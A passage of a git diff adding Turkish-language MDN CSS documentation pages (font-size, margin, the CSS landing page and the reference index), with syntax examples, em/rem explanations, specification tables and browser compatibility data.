<td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>inline-grid</code> {{experimental_inline}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>10.0{{property_prefix("-ms")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, <code>ruby-text-container</code> {{experimental_inline}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("34.0")}} [3]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>contents</code> {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop("37")}} [2]</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.4</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>7.0{{property_prefix("-webkit")}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] To activate flexbox support, for Firefox 18 and 19, the user has to change the about:config preference "layout.css.flexbox.enabled" to <code>true</code>. Multi-line flexbox are supported since Firefox 28.</p> + +<p>[2] In Firefox 36, it the preference governing this feature was off by default.</p> + +<p>[3] CSS Ruby support is behind pref "layout.css.ruby.enabled". The user has to change this pref to true to activate this.</p> + +<p>[4] Natural inline elements only</p> + +<p>[5] Not before inline-elements</p> + +<p>[6] See {{bug(1105868)}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{Cssxref("visibility")}}, {{Cssxref("float")}}, {{Cssxref("position")}}</li> + <li>{{Cssxref("flex")}}</li> +</ul> diff --git a/files/tr/web/css/font-size/index.html b/files/tr/web/css/font-size/index.html new file mode 100644 index 0000000000..cacbec8ae5 --- /dev/null +++ b/files/tr/web/css/font-size/index.html @@ -0,0 +1,239 @@ +--- +title: font-size +slug: Web/CSS/font-size +tags: + - CSS Fontlar + - CSS özelliği + - Referans +translation_of: Web/CSS/font-size +--- +<div>{{CSSRef}}</div> + +<p><span class="seoSummary"><strong><code>font-size</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a>'in bir özelliği olup yazı boyutunu ayarlar.</span> This property is also used to compute the size of <code>em</code>, <code>ex</code>, and other relative {{cssxref("<length>")}} units.</p> + +<div>{{EmbedInteractiveExample("pages/css/font-size.html")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="brush:css no-line-numbers notranslate">/* <absolute-size> values */ +font-size: xx-small; +font-size: x-small; +font-size: small; +font-size: medium; +font-size: large; +font-size: x-large; +font-size: xx-large; +font-size: xxx-large; + +/* <relative-size> values */ +font-size: smaller; +font-size: larger; + +/* <length> values */ +font-size: 12px; +font-size: 0.8em; + +/* <percentage> values */ +font-size: 80%; + +/* Global values */ +font-size: inherit; +font-size: initial; +font-size: unset; +</pre> + +<p>The <code>font-size</code> property is specified in one of the following ways:</p> + +<ul> + <li>As one of the <a href="#absolute-size">absolute-size</a> or <a href="#relative-size">relative-size</a> keywords</li> + <li>As a <code><length></code> or a <code><percentage></code>, relative to the parent element's font size</li> +</ul> + +<h3 id="Değerler">Değerler</h3> + +<dl> + <dt id="absolute-size"><code>xx-small</code>, <code>x-small</code>, <code>small</code>, <code>medium</code>, <code>large</code>, <code>x-large</code>, <code>xx-large</code>, <code>xxx-large</code></dt> + <dd>Absolute-size keywords, based on the user's default font size (which is <code>medium</code>).</dd> + <dt id="relative-size"><code>larger</code>, <code>smaller</code></dt> + <dd>Relative-size keywords. The font will be larger or smaller relative to the parent element's font size, roughly by the ratio used to separate the absolute-size keywords above.</dd> + <dt id="<length>">{{cssxref("<length>")}}</dt> + <dd> + <p>A positive {{cssxref("<length>")}} value. For most font-relative units (such as <code>em</code> and <code>ex</code>), the font size is relative to the parent element's font size.</p> + + <p>For font-relative units that are root-based (such as <code>rem</code>), the font size is relative to the size of the font used by the {{HTMLElement("html")}} (root) element.</p> + </dd> + <dt id="<percentage>">{{cssxref("<percentage>")}}</dt> + <dd> + <p>A positive {{cssxref("<percentage>")}} value, relative to the parent element's font size.</p> + </dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> To maximize accessibility, it is generally best to use values that are relative to the user's default font size.</p> +</div> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox notranslate">{{csssyntax}}</pre> + +<h2 id="Açıklama">Açıklama</h2> + +<p>There are several ways to specify the font size, including with keywords or numerical values for pixels or ems. Choose the appropriate method based on the needs for the particular web page.</p> + +<h3 id="Anahtar_Kelimeler">Anahtar Kelimeler</h3> + +<p>Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the {{HTMLElement("body")}} element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.</p> + +<h3 id="Pixels">Pixels</h3> + +<p>Setting the font size in pixel values (<code>px</code>) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.</p> + +<p>Font sizing settings can also be used in combination. For example, if a parent element is set to <code>16px</code> and its child element is set to <code>larger</code>, the child element displays larger than the parent element in the page.</p> + +<div class="note"><strong>Note:</strong> Defining font sizes in <code>px</code> is <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">not accessible</a></em>, because the user cannot change the font size in some browsers. For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer. Avoid using them for font sizes if you wish to create an inclusive design.</div> + +<h3 id="Ems">Ems</h3> + +<p>Another way of setting the font size is with <code>em</code> values. The size of an <code>em</code> value is dynamic. When defining the <code>font-size</code> property, an <code>em</code> is equal to the font size of the element on which the <code>em</code> is used. If you haven't set the font size anywhere on the page, then it is the browser default, which is often 16px. So, by default 1em = 16px, and 2em = 32px. If you set a <code>font-size</code> of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.</p> + +<p>In order to calculate the em equivalent for any pixel value required, you can use this formula:</p> + +<pre class="brush: plain notranslate">em = desired element pixel value / parent element font-size in pixels</pre> + +<p>For example, suppose the font-size of the body of the page is set to 16px. If the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).</p> + +<p>The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.</p> + +<p>One important fact to keep in mind: em values compound. Take the following HTML and CSS:</p> + +<pre class="brush: css notranslate">html { + font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ +} +span { + font-size: 1.6em; +}</pre> + +<pre class="brush: html notranslate"><div> +<span>Outer <span>inner</span> outer</span> +</div> +</pre> + +<p>The result is:</p> + +<p>{{EmbedLiveSample("Ems", 400, 40)}}</p> + +<p>Assuming that the browser's default <code>font-size</code> is 16px, the words “outer” would be rendered at 16px, but the word “inner” would be rendered at 25.6px. This is because the inner {{HTMLElement("span")}}'s <code>font-size</code> is 1.6em which is relative to its parent's <code>font-size</code>, which is in turn relative to its parent's <code>font-size</code>. This is often called <strong>compounding</strong>.</p> + +<h3 id="Rems">Rems</h3> + +<p><code>rem</code> values were invented in order to sidestep the compounding problem. <code>rem</code> values are relative to the root <code>html</code> element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.</p> + +<p>The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to <code>rem</code>.</p> + +<pre class="brush: css notranslate">html { + font-size: 62.5%; /* font-size 1em = 10px on default browser settings */ +} +span { + font-size: 1.6rem; +} +</pre> + +<p>Then we apply this CSS to the same HTML, which looks like this:</p> + +<pre class="brush: html notranslate"><span>Outer <span>inner</span> outer</span></pre> + +<p>{{EmbedLiveSample("Rems", 400, 40)}}</p> + +<p>In this example, the words “outer inner outer” are all displayed at 16px (assuming that the browser's <code>font-size</code> has been left at the default value of 10px).</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Örnek_1">Örnek 1</h3> + +<pre class="brush: css notranslate">/* Paragraf boyutunu çok büyük yapar */ +p { font-size: xx-large; } + +/* <h1> etiketininin boyutunu kendisini kaplayan + etikete göre 2.5 kat daha büyük yapar */ +h1 { font-size: 250%; } + +/* span etiketiyle çevrelenmiş yazının boyutu 16px yapar */ +span { font-size: 16px; } +</pre> + +<h3 id="Örnek_2">Örnek 2</h3> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">.small { + font-size: xx-small; +} +.larger { + font-size: larger; +} +.point { + font-size: 24pt; +} +.percent { + font-size: 200%; +} +</pre> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><h1 class="small">Small H1</h1> +<h1 class="larger">Larger H1</h1> +<h1 class="point">24 point H1</h1> +<h1 class="percent">200% H1</h1></pre> + +<h4 id="Sonuç">Sonuç</h4> + +<p>{{EmbedLiveSample('Example_2','600','200')}}</p> + +<h2 id="Notlar">Notlar</h2> + +<p><code>em</code> and <code>ex</code> units on the {{cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{cssxref("font-size")}}.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS4 Fonts', '#font-size-prop', 'font-size')}}</td> + <td>{{Spec2('CSS4 Fonts')}}</td> + <td>Adds <code>xxx-large</code> keyword.</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td> + <td>{{Spec2('CSS3 Fonts')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p>{{cssinfo}}</p> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("css.properties.font-size")}}</p> diff --git a/files/tr/web/css/index.html b/files/tr/web/css/index.html new file mode 100644 index 0000000000..6f689f8c52 --- /dev/null +++ b/files/tr/web/css/index.html @@ -0,0 +1,123 @@ +--- +title: 'CSS: Cascading Style Sheets (Basamaklı Stil Sayfaları)' +slug: Web/CSS +tags: + - CSS + - CSS3 + - HTML + - Referans + - Stil + - Stil Sayfası + - Tasarım + - Yerleşim +translation_of: Web/CSS +--- +<p>{{CSSRef}}</p> + +<p><span class="seoSummary">Bir <a href="/tr/docs/DOM/stylesheet">stylesheet</a> (şablon-stil) dili olup, çoğu zaman CSS olarak kısaltılan <strong>Cascading Style Sheets</strong>, <a href="/tr/docs/HTML" title="The HyperText Mark-up Language">HTML</a> ya da <a href="https://developer.mozilla.org/tr/docs/XML">XML</a> ile yazılmış (<a href="https://developer.mozilla.org/tr/docs/Web/SVG">SVG </a>ya da <a href="https://developer.mozilla.org/tr/docs/Glossary/XHTML">XHTML</a> gibi çeşitli XML dillerini içeren) belgelerin sunumları tanımlamak için kullanılır. CSS, yapılandırılmış elemanların ekranda, kağıt üzerinde, konuşmada yahut diğer medya aygıtlarında nasıl ifade edileceğini belirler. </span></p> + +<p><strong>CSS</strong>, <em>open web'</em>in temel dillerinden biridir ve <a href="http://w3.org/Style/CSS/#specs">W3C standartlarına</a> sahiptir. CSS1, CSS2.1, CSS3 hakkında bir şeyler duymuş olabilirsiniz. Ancak CSS4 hiçbir zaman resmi bir sürüm haline gelmedi.</p> + +<p>CSS3'ün, kapsamı önemli ölçüde arttı ve farklı CSS modüllerindeki ilerleme o kadar farklı olmaya başladı ki, <a href="https://www.w3.org/Style/CSS/current-work">önerileri modül başına ayrı ayrı geliştirmek ve yayınlamak</a> daha etkili hale geldi. W3C, CSS spesifikasyonunu veriyonlama yerine periyodik olarak <a href="https://www.w3.org/TR/css/">CSS spesifikasyonunun en son kararlı sürümünün</a> anlık görüntüsünü alıyor..</p> + +<section id="sect1"> +<ul class="card-grid"> + <li><span>CSS Referansı</span> + + <p>Deneyimli Web Geliştiricileri için CSS'in her özellik ve konseptini tanımlayan kapsamlı bir <a href="/tr/docs/Web/CSS/Reference">referans</a>.</p> + </li> + <li><span>CSS Dersi</span> + <p>Tüm yeni başlayanlara yardım için bir <a href="/tr/docs/Web/Guide/CSS/Getting_started" title="tr/docs/CSS/Getting_Started">adım adım giriş </a>kısmı. Bu kısım, ihtiyaç duyulabilecek tüm temel bilgileri içerir.</p> + </li> + <li><span>CSS3 Örnekleri</span> + <p>CSS teknolojilerini bir aksiyon içinde gösteren bir <a href="/tr/demos/tag/tech:css3" title="https://developer.mozilla.org/tr/demos/tag/tech:css3">demo kolleksiyonu</a> ki yaratıcılık için destekleyicidir.</p> + </li> +</ul> + +<div class="in-page-callout webdev"> +<h3 id="Bir_front-endArayüz_geliştiricisimi_olmak_istiyorsunuz">Bir front-end(Arayüz) geliştiricisimi olmak istiyorsunuz?</h3> + +<p>Hedefinize ulaşabilmeniz için ihtiyacınız olan tüm temel bilgileri içeren bir kurs hazırladık.</p> + +<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Buradan Başlayın</a></p> +</div> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Eğitim_Aşamaları">Eğitim Aşamaları</h2> + +<p>Bu <a href="/tr/docs/Learn/CSS">CSS Eğitimi</a> CSS'i sıfırdan öğreten birden fazla modül içerir — önceden bilmeniz gerekmez.</p> + +<dl> + <dt><a href="/tr/docs/Learn/CSS/First_steps">CSS'ye ilk adım</a></dt> + <dd>CSS (Cascading Style Sheets), Web sayfalarını biçimlendirmek ve düzenlemek için kullanılır. Örneğin: içeriğinizin yazı tipini, rengini, boyutunu ve aralığını değiştirmek, birden çok sütuna bölmek veya animasyonlar ve diğer dekoratif özellikler eklemek için kullanılır.</dd> + <dd>Bu adımda CSS'in nasıl çalıştığı, sözdiziminin neye benzediği ve bunu HTML sayfalarına stil ekleyebilmek için nasıl kullanmaya başlayabileceğinizle ilgili temel bilgiler verir. </dd> + <dt><a href="/tr/docs/Learn/CSS/Building_blocks">CSS'in yapı taşları</a></dt> + <dd> + <p class="summary">Bu adım <a href="/tr/docs/Learn/CSS/First_steps">ilk adımın</a> kaldığı yerden devam ediyor — artık dile ve sözdizimine aşına oldunuz ve onu kullanma konusunda biraz temel deyim kazandınız, biraz daha derine dalma zamanı. Bu adım, kalıtıma, sahip oluduğunuz tüm seçici türlerine, birimlere, boyutlandırmaya, arka planların ve kenarlıkların stilini belirleme, hata ayıklama ve çok daha fazlasını inceler.</p> + + <p class="summary">Buradaki amak, size daha etkili CSS yazmak için bir araç seti sağlamak ve <a href="/tr/docs/Learn/CSS/Styling_text">metin şekillendirme</a> ve <a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a> gibi daha özgül kurallara geçmeden önce tüm temel kavramları anlamanıza yardımcı olmaktır.</p> + </dd> + <dt><a href="/tr/docs/Learn/CSS/Styling_text">Metin stilini belirleme</a></dt> + <dd>CSS dilinin temelleri ele alındığında, odaklanmanız gereken bir sonraki CSS konusu, CSS ile yapacağınız en yaygın şeylerden biri olan metnin stilini oluşturmaktır. Burada yazı tipi, kalınlık, italik, satır ve harf aralığı, alt gölgeler ve diğer metin özelliklerini ayarlama dahil olmak üzere metin şekillendirme temellerine bakıyoruz. Sayfanıza özel yazı tiplerini, listeleri ve bağlantıları şekillendirmeye bakarak bu konuyu tamamlıyoruz.</dd> + <dt><a href="/tr/docs/Learn/CSS/CSS_layout">CSS düzeni</a></dt> + <dd>Bu noktaya kadar CSS'in temellerini, metnin nasıl stilize edileceğini ve içeriğinizin içinde bulunduğu kutuları nasıl biçimlendirip değiştireceğinizi inceledik. Bundan sonra, kutularınızı görüntü alanındaki diğer bileşenler ile doğru yere nasıl yerleştireceğinize bakmanın zamanı geldi. Burada CSS düzenine derinlemesine dalabilmemiz, farklı görüntü ayarlarına, flexbox, CSS ızgarası ve konumlandırma gibi modern düzen araçlarına ve hala bilmek isteyebileceğiniz bazı eski teknikleri kullanabilmemiz için gerekli ön koşulları ele alacağız.</dd> + <dt><a href="/tr/docs/Learn/CSS/Howto">Yaygın sorunları çözmek için CSS kullanın</a></dt> + <dd>Bu adım, bir websayfası oluştururken yaygın sorunları çözmek için CSS'si nasıl kullanılacağını açıklayan içerik bölümlerine bağlantılar sağlar.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Tools" id="Kaynaklar">Kaynaklar</h2> + +<ul> + <li><a href="/tr/docs/Web/CSS/Reference">CSS kaynağı</a>: Deneyimli Web geliştiricileri için, CSS'sin her özelliğini ve konseptini açıklayan kapsamlı bir kaynak.</li> + <li>CSS temel kavramları: + <ul> + <li><a href="/tr/docs/Web/CSS/Syntax">Dilin sözdizimi ve biçimleri</a></li> + <li><a href="/tr/docs/Web/CSS/Specificity">Özgüllük</a>, <a href="/tr/docs/Web/CSS/Inheritance">kalıtım</a> ve <a href="/tr/docs/Web/CSS/Cascade">Cascade</a></li> + <li><a href="/tr/docs/Web/CSS/CSS_Values_and_Units">CSS birim ve değerleri</a></li> + <li><a href="/tr/docs/Web/CSS/box_model">Kutu modelelri</a> ve <a href="/tr/docs/Web/CSS/margin_collapsing">Kenar boşluğu</a></li> + <li>The <a href="/tr/docs/Web/CSS/All_About_The_Containing_Block">containing blok kapsamları</a></li> + <li><a href="/tr/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context" title="The stacking context">Yığınlar</a> ve <a href="/tr/docs/Web/CSS/block_formatting_context" title="block formatting context">blok biçimlendirme</a> bağlamları</li> + <li><a href="/tr/docs/Web/CSS/initial_value">İlklendirilen</a>, <a href="/tr/docs/Web/CSS/computed_value">hesaplanan</a>, <a href="/tr/docs/Web/CSS/used_value">kullanılan</a>, ve <a href="/tr/docs/Web/CSS/actual_value">gerçek</a> değeler</li> + <li><a href="/tr/docs/Web/CSS/Shorthand_properties">CSS kısaltma özellikleri</a></li> + <li><a href="/tr/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box özellikleri</a></li> + <li><a href="/tr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid özellikleri</a></li> + <li><a href="/tr/docs/Web/CSS/Media_Queries">Medya sorguları</a></li> + <li><a href="/tr/docs/Web/CSS/animation">Animasyon</a></li> + </ul> + </li> +</ul> + +<h2 class="Tools" id="Tarifler_kitabı">Tarifler kitabı</h2> + +<p><a href="/tr/docs/Web/CSS/Layout_cookbook">CSS düzen tarifleri kitabı</a> sitelerinize uygulamanız gerekebilecek ortak düzen kalıpları için tarifleri bir araya getirmeyi amaçlamaktadır. Projelerinizde başlangıç noktası olarak kullanabileceğiniz kod sağlamanın yına sıra, bu tarifler yerleşim özelliklerinin kullanılabileceği farklı yolları ve bir geliştirici olarak uygulayabileceğiniz seçimleri irdeler.</p> + +<h2 class="Tools" id="CSS_geliştirme_araçları">CSS geliştirme araçları</h2> + +<ul> + <li>CSS'sinizin gerçeli olup olmadığını kontrol etmek için <a class="external" href="https://jigsaw.w3.org/css-validator/">W3C CSS Validation Service</a>'si kullanabilirsiniz. Bu, paha biçilemez bir hata ayıklama aracıdır.</li> + <li><a href="/tr/docs/Tools">Firefox Developer Tools</a>, <a href="/tr/docs/Tools/Page_Inspector">Denetçi</a> ve <a href="/tr/docs/Tools/Style_Editor">Stil Düzenleyici</a> araçlarıyla bir sayfanın canlı CSS'sini görüntülemenizi ve düzenlemenizi sağlar.</li> + <li>Firefox için <a class="link-https" href="https://addons.mozilla.org/tr/firefox/addon/web-developer/">Web Developer uzantısı</a>, izlenen sitelerde canlı CSS'si izlemenizi ve düzenlemenizi sağlar</li> + <li>Web topluluğu, kullanmanız için başka çeşitli <a href="/tr/docs/Web/CSS/Tools">CSS araçlarını</a>'da oluşturdu.</li> +</ul> + +<h2 id="Meta_bugs">Meta bugs</h2> + +<ul> + <li>Firefox: {{bug(1323667)}}</li> +</ul> +</div> +</div> +</section> + +<h2 id="Ayrıca_Bakınız">Ayrıca Bakınız</h2> + +<ul> + <li><a href="/tr/docs/Web/Demos_of_open_web_technologies#CSS">CSS demoları</a>: En yeni CSS teknolojileri ile oluşturulmuş örnekleri keşfederek kendinize destek elde edin</li> + <li>CSS'nin sıklıkla uygulandığı web dilleri: <a href="/tr/docs/Web/HTML">HTML</a>, <a href="/tr/docs/Web/SVG">SVG</a>, <a href="/tr/docs/Web/MathML">MathML</a>, {{Glossary("XHTML")}}, and <a href="/tr/docs/XML_introduction">XML</a>.</li> + <li>CSS'den kapsamlı bir şekilde yararlanan Mozilla teknolojileri: <a href="/tr/docs/Mozilla/Firefox">Firefox</a>, ve <a href="/tr/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/tr/docs/Mozilla/Add-ons">euzantıları</a> ve <a href="/tr/docs/Mozilla/Add-ons/Themes">temaları</a>.</li> + <li><a href="https://lists.mozilla.org/listinfo/dev-tech-layout">Mozilla e-posta listesi</a></li> + <li><a href="https://stackoverflow.com/questions/tagged/css">CSS hakkındaki Stack Overflow soruları</a></li> +</ul> diff --git a/files/tr/web/css/marjin/index.html b/files/tr/web/css/marjin/index.html new file mode 100644 index 0000000000..693d33f2de --- /dev/null +++ b/files/tr/web/css/marjin/index.html @@ -0,0 +1,223 @@ +--- +title: marjin +slug: Web/CSS/marjin +tags: + - CSS + - CSS özelliği + - Referans +translation_of: Web/CSS/margin +--- +<div>{{CSSRef}}</div> + +<h2 id="Özet">Özet</h2> + +<p> </p> + +<p><strong><code>Marjin</code></strong> CSS özelliği her dört kenarın kenar boşluğunu düzenler. Kısayol olarak diğer marjin özellikleri ile tek tek düzenlemenin önüne geçilir : {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }} ve {{ Cssxref("margin-left") }}.</p> + +<p>Eksi değerlere müsade edilir.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="brush:css">/* Her dört kenara uygulanır */ +margin: 1em; + +/* dikey | yatay */ +margin: 5% auto; + +/* üst | yatay | alt */ +margin: 1em auto 2em; + +/* üst | sağ | alt | sol */ +margin: 2px 1em 0 auto; + +/* Genel değerler */ +margin: inherit; +margin: initial; +margin: unset; +</pre> + +<h3 id="Değer_Atamaları">Değer Atamaları</h3> + +<p>Aşağıdaki gibi bir, iki, üç yada dörtlü değer atama:</p> + +<dl> + <dt><code><length></code></dt> + <dd>Sabit değerleri ifade eder. Eksi değer alabilir. Örnek ölçü birimleri için bakınız {{cssxref("<length>")}} .</dd> + <dt><code><percentage></code></dt> + <dd>{{cssxref("<percentage>")}} içinde bulunduğu bloğun <strong>width</strong> özelliğine orantılıdır. Eksi değerlere müsade edilir.</dd> + <dt><code>auto</code></dt> + <dd><code>auto kullanıldığında değerleri otomatik atanır. Blok elementleri merkeze konumlandırmada kullanılır.</code><br> + <code>div { width:50%; margin:0 auto; }</code> div bloğunu yatay olarak merkeze konumlandırır.</dd> +</dl> + +<ul> + <li><strong>Tek</strong> bir değer <strong>tüm dört kenara uygulanır</strong>.</li> + <li><strong>İki</strong> değerin ilki <strong>üst ve alt kenara</strong> ikincisi <strong>sağ ve sol kenara uygulanır</strong>.</li> + <li><strong>Üç </strong> değerin ilki <strong>üst </strong>kenara ikincisi <strong>sağ</strong> ve <strong>sol</strong> kenara üçüncüsü <strong>alt</strong> kenara uygulanır.</li> + <li><strong>Dört değer</strong> <strong>üst, sağ, alt </strong>ve<strong> sol kenarlara</strong> sırasıyla (saat yönünde) uygulanır.</li> +</ul> + +<h3 id="Formel_sözdizimi">Formel sözdizimi</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Basit_bir_örnek">Basit bir örnek</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="ex1"> + margin: auto; + background: gold; + width: 66%; +</div> +<div class="ex2"> + margin: 20px 0 0 -20px; + background: gold; + width: 66%; +</div></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css; highlight:[2,7]">.ex1 { + margin: auto; + background: gold; + width: 66%; +} +.ex2 { + margin: 20px 0px 0 -20px; + background: gold; + width: 66%; +}</pre> + +<p>{{ EmbedLiveSample('Simple_example') }}</p> + +<h3 id="başka_bir_örnek_daha">başka bir örnek daha</h3> + +<pre class="brush: css">margin: 5%; /* tüm kenarlar 5% marjinli */ + +margin: 10px; /* tüm kenarlar 10px marjinli */ + +margin: 1.6em 20px; /* üst ve alt 1.6em, sağ ve sol 20px marjinli */ + +margin: 10px 3% 1em; /* üst 10px, sağ ve sol 3%, alt 1em marjinli */ + +margin: 10px 3px 30px 5px; /* üst 10px, sağ 3px, alt 30px, sol 5px marjinli */ + +margin: 1em auto; /* 1em marjin üst ve altta, çerçeve yatay olarak merkezde */ + +margin: auto; /* çerçeve yatay olarak merkezde üst ve alt marjin 0 */ +</pre> + +<h2 id="Yatay_olarak_merkeze_konumlama_margin_0_auto">Yatay olarak merkeze konumlama <code>margin: 0 auto;</code></h2> + +<p>Modern tarayıcılarda yatay merkez konumlandırma için <code><a href="/en-US/docs/Web/CSS/display">display</a>: flex; <a href="/en-US/docs/Web/CSS/justify-content">justify-content</a>: center;</code> kullanınız.</p> + +<p>Bununla birlikte, eski tarayıcılarda IE8-9 gibi, bu tanımlama kullanılamaz. Yatay merkez konumlama için elementi kapsayan elemente marg<code>in: 0 auto; kullanınız.</code></p> + +<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Box', '#margin', 'margin') }}</td> + <td>{{ Spec2('CSS3 Box') }}</td> + <td>Belirgin değişiklik yok</td> + </tr> + <tr> + <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin') }}</td> + <td>{{ Spec2('CSS3 Transitions') }}</td> + <td>"margin" transitions ta animasyon özellikiği kullanılabilir</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>Inline elementeki efekleri kaldırıldı</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#margin', 'margin') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>başlangic değeri atandı</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop("1") }}</td> + <td>3.0</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + <tr> + <td><code>auto</code> value</td> + <td>1.0</td> + <td>{{CompatUnknown}}</td> + <td>{{ CompatGeckoDesktop("1") }}</td> + <td>6.0 (strict mode)</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoMobile("1") }}</td> + <td>6.0</td> + <td>6.0</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li><a class="internal" href="/en/CSS/margin_collapsing" title="en/CSS/margin collapsing">Marjin çakışması</a></li> +</ul> diff --git a/files/tr/web/css/reference/index.html b/files/tr/web/css/reference/index.html new file mode 100644 index 0000000000..4d415d65a6 --- /dev/null +++ b/files/tr/web/css/reference/index.html @@ -0,0 +1,73 @@ +--- +title: CSS Referansı +slug: Web/CSS/Reference +tags: + - CSS + - CSS Referans +translation_of: Web/CSS/Reference +--- +<p><span class="seoSummary">Bu<em> CSS Referansı, </em>bütün standart <a href="/tr/docs/Web/CSS">CSS</a> özelliklerini, pseudo sınıflarını, pseudo elementlerini, @-kurallarını, birimleri* ve seçicileri alfabetik olarak sıralar. Bunların her biri için hızlı ve detaylı bilgiye ulaşabilirsiniz. Sadece CSS1 ve CSS2 özellikleri değil, aynı zamanda konsept standartlı veya stabil her <a 